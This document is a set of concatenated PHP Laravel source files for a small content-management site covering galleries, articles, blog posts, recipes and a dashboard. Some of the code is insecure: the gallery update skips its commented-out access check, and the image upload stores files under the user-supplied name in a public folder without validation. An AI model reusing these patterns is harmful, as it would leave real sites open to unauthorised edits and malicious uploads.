██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██║██████╔╝██║ ██║███████║ ██║ █████╗ # ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██╔══╝ # ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ███████╗ # ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ // UPDATE :: Update the specified resource in storage ################################################################################################################## // public function updateGallery(UpdateGalleryRequest $request, $id) public function updateGallery(Request $request, $id) { // if(!checkACL('author')) { // return view('errors.403'); // } //dd($request->ref); $gallery = Gallery::findOrFail($id); $gallery->name = $request->name; $gallery->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") UPDATED article (" . $article->id . ")\r\n", // [json_decode($article, true)] //); Session::flash('success','The gallery has been updated successfully.'); return redirect()->route('backend.gallery.list'); } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## public function viewGalleryPics($id) { $gallery = Gallery::findOrFail($id); return view('backend.galleries.show', compact('gallery')); } ################################################################################################################## # ██╗███╗ ███╗ █████╗ ██████╗ ███████╗ ██╗ ██╗██████╗ ██╗ ██████╗ █████╗ ██████╗ # ██║████╗ ████║██╔══██╗██╔════╝ ██╔════╝ ██║ ██║██╔══██╗██║ ██╔═══██╗██╔══██╗██╔══██╗ # ██║██╔████╔██║███████║██║ ███╗█████╗ ██║ ██║██████╔╝██║ ██║ ██║███████║██║ ██║ # ██║██║╚██╔╝██║██╔══██║██║ ██║██╔══╝ ██║ ██║██╔═══╝ ██║ ██║ ██║██╔══██║██║ ██║ # ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝███████╗ ╚██████╔╝██║ ███████╗╚██████╔╝██║ ██║██████╔╝ # ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ################################################################################################################## public function doImageUpload(Request $request) { // get the file from the post request $file = $request->file('file'); // set filename $filename = uniqid() . $file->getClientOriginalName(); // Check if Gallery/Images folders exists if (!file_exists('_gallery/images')) { mkdir('_gallery/images', 0777, true); } // move the file to the correct location $file->move('_gallery/images', $filename); // Check if Thumbs folder exists under Images if (!file_exists('_gallery/images/thumbs')) { mkdir('_gallery/images/thumbs', 0777, true); } // Create thumbnail $thumb = Image::make('_gallery/images/' . $filename)->resize(240,160)->save('_gallery/images/thumbs/' . $filename, 60); // save image details in database $gallery = Gallery::find($request->input('gallery_id')); $image = $gallery->images()->create([ 'gallery_id' => $request->input('gallery_id'), 'file_name' => $filename, 'file_size' => $file->getClientSize(), 'file_mime' => $file->getClientMimeType(), 'file_path' => '_gallery/images/' . $filename, 'created_by' => Auth::user()->id, ]); return $image; } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗██████╗ ██████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗╚██╗ ██╔╝ # ██║ ██║█████╗ ███████╗ ██║ ██████╔╝██║ ██║ ╚████╔╝ # ██║ ██║██╔══╝ ╚════██║ ██║ ██╔══██╗██║ ██║ ╚██╔╝ # ██████╔╝███████╗███████║ ██║ ██║ ██║╚██████╔╝ ██║ # ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ // Remove the specified resource from storage // Used in the index page and trashAll action to soft delete multiple records ################################################################################################################## public function deleteGallery($id) { // Load the gallery $currentGallery = Gallery::findOrFail($id); // check owenership if($currentGallery->created_by != Auth::user()->id) { abort('403', 'You are not allowed to delete this gallery!'); } // get the images $images = $currentGallery->images(); // delete the images foreach($currentGallery->images as $image) { unlink(public_path($image->file_path)); unlink(public_path('_gallery/images/thumbs/' . $image->file_name)); } // Delete all image rows from the table $images->delete(); // Delete the gallery $currentGallery->delete(); return redirect()->back(); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; use Auth; class Role extends Model { public function users() { return $this->hasMany('App\User'); } public function scopeNewRoles($query) { return $query ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) ->orderBy('name','DESC'); } } <file_sep><?php namespace App\Http\Controllers\Backend; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Auth; //use Charts; use App\Album; use App\Article; use App\Category; use App\Comment; use App\Module; use App\Post; use App\Recipe; use App\Role; use App\User; use App\WoodProject; class dashboardController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function __construct() { $this->middleware('auth'); //Log::useFiles(storage_path().'/logs/articles.log'); //Log::useFiles(storage_path().'/logs/audits.log'); } ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index() { $roles = Role::with('users')->where('id', '<', 80)->get(); // $authors = User::where('role_id', '=' , ) // $sadmins = User::with('role')->where('role_id','=',10)->get(); // $admins = User::with('role')->where('role_id','=',20)->get(); // $managers = User::with('role')->where('role_id','=',30)->get(); // $publishers = User::with('role')->where('role_id','=',40)->get(); // $editors = User::with('role')->where('role_id','=',50)->get(); // $timetrackers = User::with('role')->where('role_id','=',55)->get(); // $authors = User::with('role')->where('role_id','=',60)->get(); // $users = User::with('role')->where('role_id','=',70)->get(); // $users = User::with('role')->get(); //dd($authors); $albums = Album::where('created_at', '>=' , Auth::user()->last_login_date)->get(); $articles = Article::with('user')->where('created_at', '>=' , Auth::user()->last_login_date)->get(); $categories = Category::where('created_at', '>=' , Auth::user()->last_login_date)->get(); $comments = Comment::where('created_at', '>=' , Auth::user()->last_login_date)->get(); $modules = Module::where('created_at', '>=' , Auth::user()->last_login_date)->get(); $posts = Post::with('user')->where('created_at', '>=' , Auth::user()->last_login_date)->get(); $recipes = Recipe::with('user')->where('created_at', '>=' , Auth::user()->last_login_date)->get(); $roles1 = Role::where('created_at', '>=' , Auth::user()->last_login_date)->get(); $users = User::where('created_at', '>=' , Auth::user()->last_login_date)->get(); $woodProjects = WoodProject::where('created_at', '>=' , Auth::user()->last_login_date)->get(); // return view('backend.dashboard', compact('roles','sadmins', 'admins','managers','publishers','editors','timetrackers','authors','users')); return view('backend.dashboard', compact('albums','articles','categories','comments','modules','posts','recipes','roles','roles1','users','woodProjects')); } ################################################################################################################## # ██████╗ ██████╗ ███████╗████████╗███████╗ # ██╔══██╗██╔═══██╗██╔════╝╚══██╔══╝██╔════╝ # ██████╔╝██║ ██║███████╗ ██║ ███████╗ # ██╔═══╝ ██║ ██║╚════██║ ██║ ╚════██║ # ██║ ╚██████╔╝███████║ ██║ ███████║ # ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ╚══════╝ ################################################################################################################## public function posts() { return view('backend.posts.index'); } ################################################################################################################## # ██╗████████╗███████╗███╗ ███╗███████╗ # ██║╚══██╔══╝██╔════╝████╗ ████║██╔════╝ # ██║ ██║ █████╗ ██╔████╔██║███████╗ # ██║ ██║ ██╔══╝ ██║╚██╔╝██║╚════██║ # ██║ ██║ ███████╗██║ ╚═╝ ██║███████║ # ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ################################################################################################################## public function items() { return view('backend.items.index'); } ################################################################################################################## # ██████╗ ███████╗ ██████╗██╗██████╗ ███████╗███████╗ # ██╔══██╗██╔════╝██╔════╝██║██╔══██╗██╔════╝██╔════╝ # ██████╔╝█████╗ ██║ ██║██████╔╝█████╗ ███████╗ # ██╔══██╗██╔══╝ ██║ ██║██╔═══╝ ██╔══╝ ╚════██║ # ██║ ██║███████╗╚██████╗██║██║ ███████╗███████║ # ╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝╚═╝ ╚══════╝╚══════╝ ################################################################################################################## public function recipes() { return view('backend.recipes.index'); } ################################################################################################################## # ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗████████╗███████╗ # ██╔══██╗██╔══██╗██╔═══██╗██╔══██╗██║ ██║██╔════╝╚══██╔══╝██╔════╝ # ██████╔╝██████╔╝██║ ██║██║ ██║██║ ██║██║ ██║ ███████╗ # ██╔═══╝ ██╔══██╗██║ ██║██║ ██║██║ ██║██║ ██║ ╚════██║ # ██║ ██║ ██║╚██████╔╝██████╔╝╚██████╔╝╚██████╗ ██║ ███████║ # ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝ ################################################################################################################## public function products() { return view('backend.products.index'); } }<file_sep><?php namespace App\Http\Controllers\Frontend; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use App\Article; use App\Category; use App\Comment; use App\User; use Carbon\Carbon; use Auth; use DB; use Excel; use Log; use Session; use App\Http\Requests\CreateArticleRequest; use App\Http\Requests\UpdateArticleRequest; use App\Http\Requests\CreateCommentRequest; class ArticlesController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function __construct() { // only allow authenticated users to access these pages //$this->middleware('auth', ['except'=>['index','show']]); // changing auth to guest would only allow guests to access these pages // you can also restrict the actions by adding ['except' => 'name_of_action'] at the end //$this->middleware('auth')->except('frontArticles', 'show'); //Log::useFiles(storage_path().'/logs/articles.log'); //Log::useFiles(storage_path().'/logs/audits.log'); } ################################################################################################################## # █████╗ ██████╗ ██████╗██╗ ██╗██╗██╗ ██╗███████╗ # ██╔══██╗██╔══██╗██╔════╝██║ ██║██║██║ ██║██╔════╝ # ███████║██████╔╝██║ ███████║██║██║ ██║█████╗ # ██╔══██║██╔══██╗██║ ██╔══██║██║╚██╗ ██╔╝██╔══╝ # ██║ ██║██║ ██║╚██████╗██║ ██║██║ ╚████╔╝ ███████╗ # ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚══════╝ # Display the archived resources ################################################################################################################## public function archive($year, $month) { // Get list of articles by year and month $articlelinks = DB::table('articles') ->select(DB::raw('YEAR(created_at) year, MONTH(created_at) month, MONTHNAME(created_at) month_name, COUNT(*) article_count')) ->where('published_at', '<=', Carbon::now()) //->where('created_at', '<=', Carbon::now()->subMonth(3)) ->groupBy('year') ->groupBy('month') ->orderBy('year', 'desc') ->orderBy('month', 'desc') ->get(); $archives = Article::with('user')->whereYear('created_at','=', $year) ->whereMonth('created_at','=', $month) ->where('published_at', '<=', Carbon::now()) ->get(); // Save the URL in a varibale so it can be used in the blog.single page to redirect the user to the archives list page Session::flash('backUrl', \Request::fullUrl()); return view('frontend.articles.archive', compact('archives','articlelinks'))->withYear($year)->withMonth($month); } ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index(Request $request, $key=null) { // if(!checkACL('guest')) { // return view('errors.403'); // } // Get list of articles by year and month $articlelinks = DB::table('articles') ->select(DB::raw('YEAR(created_at) year, MONTH(created_at) month, MONTHNAME(created_at) month_name, COUNT(*) article_count')) ->where('published_at', '<=', Carbon::now()) //->where('created_at', '<=', Carbon::now()->subMonth(3)) ->groupBy('year')->groupBy('month')->orderBy('year', 'desc')->orderBy('month', 'desc')->get(); //$alphas = range('A', 'Z'); $alphas = DB::table('articles') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) ->where('published_at','<', Carbon::Now()) //->where('deleted_at', '=', Null) ->orderBy('letter') ->get(); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $articles = Article::with('user','category')->published() ->where('title', 'like', $key . '%') ->orderBy('title', 'asc') ->get(); return view('frontend.articles.index', compact('articles','letters', 'articlelinks')); } // No $key value is passed $articles = Article::with('user','category')->published()->get(); return view('frontend.articles.index', compact('articles','letters', 'articlelinks')); } ################################################################################################################## # ██████╗ ██████╗ ██╗███╗ ██╗████████╗ # ██╔══██╗██╔══██╗██║████╗ ██║╚══██╔══╝ # ██████╔╝██████╔╝██║██╔██╗ ██║ ██║ # ██╔═══╝ ██╔══██╗██║██║╚██╗██║ ██║ # ██║ ██║ ██║██║██║ ╚████║ ██║ # ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═╝ ################################################################################################################## public function print($id) { if(!checkACL('author')) { return view('errors.frontend.403'); } $article = Article::find($id); // Save entry to log file using built-in Monolog // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") PRINTED article (" . $article->id . ")\r\n", // [json_decode($article, true)] // ); return view('frontend.articles.print')->withArticle($article); } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## public function show($id) { // if(!checkACL('guest')) { // return view('errors.403'); // } $article = Article::findOrFail($id); // get previous article id $previous = Article::published()->where('id', '<', $article->id)->max('id'); // get next article id $next = Article::published()->where('id', '>', $article->id)->min('id'); // Add 1 to views column DB::table('articles')->where('id','=',$article->id)->increment('views',1); // Get list of articles by year and month $articlelinks = DB::table('articles') ->select(DB::raw('YEAR(created_at) year, MONTH(created_at) month, MONTHNAME(created_at) month_name, COUNT(*) article_count')) ->where('published_at', '<=', Carbon::now()) //->where('created_at', '<=', Carbon::now()->subMonth(3)) ->groupBy('year') ->groupBy('month') ->orderBy('year', 'desc') ->orderBy('month', 'desc') ->get(); // Save entry to log file using built-in Monolog // if (Auth::check()) { // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") VIEWED article (" . $article->id . ")"); // } else { // Log::info('Guest viewed article (' . $article->id) . ')'; // } return view('frontend.articles.show', compact('article','articlelinks','next','previous')); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██████╗ ███╗ ███╗███╗ ███╗███████╗███╗ ██╗████████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝██╔═══██╗████╗ ████║████╗ ████║██╔════╝████╗ ██║╚══██╔══╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ ██║ ██║ ██║██╔████╔██║██╔████╔██║█████╗ ██╔██╗ ██║ ██║ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ ██║ ██║ ██║██║╚██╔╝██║██║╚██╔╝██║██╔══╝ ██║╚██╗██║ ██║ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ╚═╝ ██║███████╗██║ ╚████║ ██║ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ################################################################################################################## public function storeComment(CreateCommentRequest $request, $id) { $article = Article::find($id); $comment = new Comment(); $comment->user_id = Auth::user()->id; $comment->comment = $request->comment; $article->comments()->save($comment); // Save entry to log file using built-in Monolog // if (Auth::check()) { // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") commented on post (" . $post->id . ")\r\n", [json_decode($comment, true)]); // } else { // Log::info(Request::ip() . " commented on post " . $post->id); // } Session::flash('success', 'Comment added succesfully.'); return redirect()->route('articles.show', $article->id); } } <file_sep><?php namespace App\Http\Controllers\Frontend; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use App\Comment; use App\Post; use App\Http\Requests; use DB; use Session; use Carbon\Carbon; use Auth; use Log; use Redirect; use App\Http\Requests\CreateCommentRequest; class BlogController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function __construct() { //Log::useFiles(storage_path().'/logs/audits.log'); } ################################################################################################################## # █████╗ ██████╗ ██████╗██╗ ██╗██╗██╗ ██╗███████╗ # ██╔══██╗██╔══██╗██╔════╝██║ ██║██║██║ ██║██╔════╝ # ███████║██████╔╝██║ ███████║██║██║ ██║█████╗ # ██╔══██║██╔══██╗██║ ██╔══██║██║╚██╗ ██╔╝██╔══╝ # ██║ ██║██║ ██║╚██████╗██║ ██║██║ ╚████╔╝ ███████╗ # ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚══════╝ # Display the archived resources ################################################################################################################## public function archive($year, $month) { // Get list of posts by year and month $postlinks = DB::table('posts') ->select(DB::raw('YEAR(created_at) year, MONTH(created_at) month, MONTHNAME(created_at) month_name, COUNT(*) post_count')) ->where('published_at', '<=', Carbon::now()) //->where('created_at', '<=', Carbon::now()->subMonth(3)) ->groupBy('year') ->groupBy('month') ->orderBy('year', 'desc') ->orderBy('month', 'desc') ->get(); $archives = Post::published()->with('user')->whereYear('created_at','=', $year) ->whereMonth('created_at','=', $month) ->get(); // Save the URL in a varibale so it can be used in the blog.single page to redirect the user to the archives list page Session::flash('backUrl', \Request::fullUrl()); return view('frontend.blog.archive', compact('archives','postlinks'))->withYear($year)->withMonth($month); } ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function getIndex() { // Save entry to log file using built-in Monolog // if(Auth::check()) { // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") accessed :: Blog"); // }else{ // Log::info(getClientIP() . " accessed :: Blog"); // } // $popularPost = Post::get()->sortByDesc('views')->take(1); //dd($popularPost); $posts = Post::published()->with('user')->orderBy('id','desc')->paginate(5);//->get(); // Get list of posts by year and month $postlinks = DB::table('posts') ->select(DB::raw('YEAR(created_at) year, MONTH(created_at) month, MONTHNAME(created_at) month_name, COUNT(*) post_count')) ->where('published_at', '<=', Carbon::now()) //->where('created_at', '<=', Carbon::now()->subMonth(3)) ->groupBy('year') ->groupBy('month') ->orderBy('year', 'desc') ->orderBy('month', 'desc') ->get(); // return view ('frontend.blog.index', compact('posts','popularPost')); return view ('frontend.blog.index', compact('posts','postlinks')); } ################################################################################################################## # ██████╗ ██████╗ ██╗███╗ ██╗████████╗ # ██╔══██╗██╔══██╗██║████╗ ██║╚══██╔══╝ # ██████╔╝██████╔╝██║██╔██╗ ██║ ██║ # ██╔═══╝ ██╔══██╗██║██║╚██╗██║ ██║ # ██║ ██║ ██║██║██║ ╚████║ ██║ # ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═╝ ################################################################################################################## public function print($id) { if(!checkACL('author')) { return view('errors.frontend.403'); } $post = Post::find($id); // Save entry to log file using built-in Monolog // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") PRINTED article (" . $article->id . ")\r\n", // [json_decode($article, true)] // ); return view('frontend.blog.print', compact('post')); } ################################################################################################################## # ███████╗███████╗ █████╗ ██████╗ ██████╗██╗ ██╗ # ██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██║ # ███████╗█████╗ ███████║██████╔╝██║ ███████║ # ╚════██║██╔══╝ ██╔══██║██╔══██╗██║ ██╔══██║ # ███████║███████╗██║ ██║██║ ██║╚██████╗██║ ██║ # ╚══════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ ################################################################################################################## public function search(Request $request) { $this->validate($request, [ 'search' => 'required' ]); $search = $request->get('search'); $posts = Post::where('title', 'like', "%$search%") ->orWhere('body', 'like', "%$search%") ->paginate(10) ->appends(['search' => $search]) ; // Get list of posts by year and month $postlinks = DB::table('posts') ->select(DB::raw('YEAR(created_at) year, MONTH(created_at) month, MONTHNAME(created_at) month_name, COUNT(*) post_count')) ->where('published_at', '<=', Carbon::now()) //->where('created_at', '<=', Carbon::now()->subMonth(3)) ->groupBy('year') ->groupBy('month') ->orderBy('year', 'desc') ->orderBy('month', 'desc') ->get(); // Save entry to log file using built-in Monolog // if (Auth::check()) { // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") searched posts for " . $search); // } else { // Log::info("Guest searched posts for \"" . $search . "\""); // } return view('frontend.blog.search', compact('posts','postlinks')); } // public function viewImage($id) // { // // Save entry to log file using built-in Monolog // if(Auth::check()) { // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") viewed :: Image of Post (" . $id . ")"); // }else{ // //Log::info(getClientIP() . " viewed :: Post id (" . $post->id . ")"; // Log::info(getClientIP() . " viewed :: Image of Post (" . $id . ")"); // } // } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## public function getSingle($slug) { // fetch from database based on slug $post = Post::where('slug', '=', $slug)->first(); //dd($post->id); // get previous post id $previous = Post::published()->where('id', '<', $post->id)->max('id'); // get slug if record exists if($previous = Post::published()->find($previous)) { $previous = $previous->slug; } // get next post id $next = Post::published()->where('id', '>', $post->id)->min('id'); // get slug if record exists if($next = Post::published()->find($next)) { $next = $next->slug; } // Add 1 to views column DB::table('posts')->where('slug', '=', $slug)->increment('views', 1); // Get list of posts by year and month $postlinks = DB::table('posts') ->select(DB::raw('YEAR(created_at) year, MONTH(created_at) month, MONTHNAME(created_at) month_name, COUNT(*) post_count')) ->where('published_at', '<=', Carbon::now()) //->where('created_at', '<=', Carbon::now()->subMonth(3)) ->groupBy('year') ->groupBy('month') ->orderBy('year', 'desc') ->orderBy('month', 'desc') ->get(); //$post->save(); // Save entry to log file using built-in Monolog // if(Auth::check()) { // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") viewed :: Post (" . $post->id . ")"); // }else{ //Log::info(getClientIP() . " viewed :: Post id (" . $post->id . ")"; // Log::info(getClientIP() . " viewed :: Post (" . $post->id . ")"); // } // return the view and pass in the post object return view('frontend.blog.single', compact('post','postlinks','next','previous')); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██████╗ ███╗ ███╗███╗ ███╗███████╗███╗ ██╗████████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝██╔═══██╗████╗ ████║████╗ ████║██╔════╝████╗ ██║╚══██╔══╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ ██║ ██║ ██║██╔████╔██║██╔████╔██║█████╗ ██╔██╗ ██║ ██║ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ ██║ ██║ ██║██║╚██╔╝██║██║╚██╔╝██║██╔══╝ ██║╚██╗██║ ██║ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ╚═╝ ██║███████╗██║ ╚████║ ██║ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ################################################################################################################## public function storeComment(CreateCommentRequest $request, $id) // public function storeComment(Request $request, $id) { //dd($id); $post = Post::find($id); //dd($project); $comment = new Comment(); // $comment->name = $request->name; // $comment->email = $request->email; $comment->user_id = Auth::user()->id; $comment->comment = $request->comment; $post->comments()->save($comment); //$comment->save(); // Save entry to log file using built-in Monolog // if (Auth::check()) { // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") commented on post (" . $post->id . ")\r\n", [json_decode($comment, true)]); // } else { // Log::info(Request::ip() . " commented on post " . $post->id); // } Session::flash('success', 'Comment added succesfully.'); return redirect()->route('blog.single', [$post->slug]); } }<file_sep><?php return [ // COMPANY INFORMATION 'companyName' => '<NAME>', 'address_1' => '701 rue Principale', 'address_2' => 'P.O. Box: 198', 'companyCity' => 'Casselman', 'companyState' => 'Ontario', 'companyZip' => 'K0A 1M0', 'companyTelephone' => '(613) 204 7525', 'companyFax' => '', 'companyEmail' => '<EMAIL>', 'companyWebsite' => '', 'HST_no' => 'HST1234', 'WSIB_no' => 'WSIB-1-234', // INVOICE SETTINGS 'termsAndConditions' => ' <b>Terms and Conditions</b><br /> Content of terms and conditions will go here', 'hst_rate' => 0.13, 'wsib_rate' => 0.06, 'income_tax_rate' => 0.26 ];<file_sep><?php namespace App\Http\Controllers; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use App\Category; use App\Comment; use App\Module; use App\Recipe; use App\User; use Carbon\Carbon; use Auth; use DB; use Excel; use File; use Image; use JavaScript; use Log; use PDF; use Purifier; use Route; use Session; use Storage; use Table; use URL; use App\Http\Requests\CreateRecipeRequest; use App\Http\Requests\UpdateRecipeRequest; use App\Http\Requests\CreateCommentRequest; class RecipesController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## ################################################################################################################## # █████╗ ██████╗ ██████╗██╗ ██╗██╗██╗ ██╗███████╗ # ██╔══██╗██╔══██╗██╔════╝██║ ██║██║██║ ██║██╔════╝ # ███████║██████╔╝██║ ███████║██║██║ ██║█████╗ # ██╔══██║██╔══██╗██║ ██╔══██║██║╚██╗ ██╔╝██╔══╝ # ██║ ██║██║ ██║╚██████╗██║ ██║██║ ╚████╔╝ ███████╗ # ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ 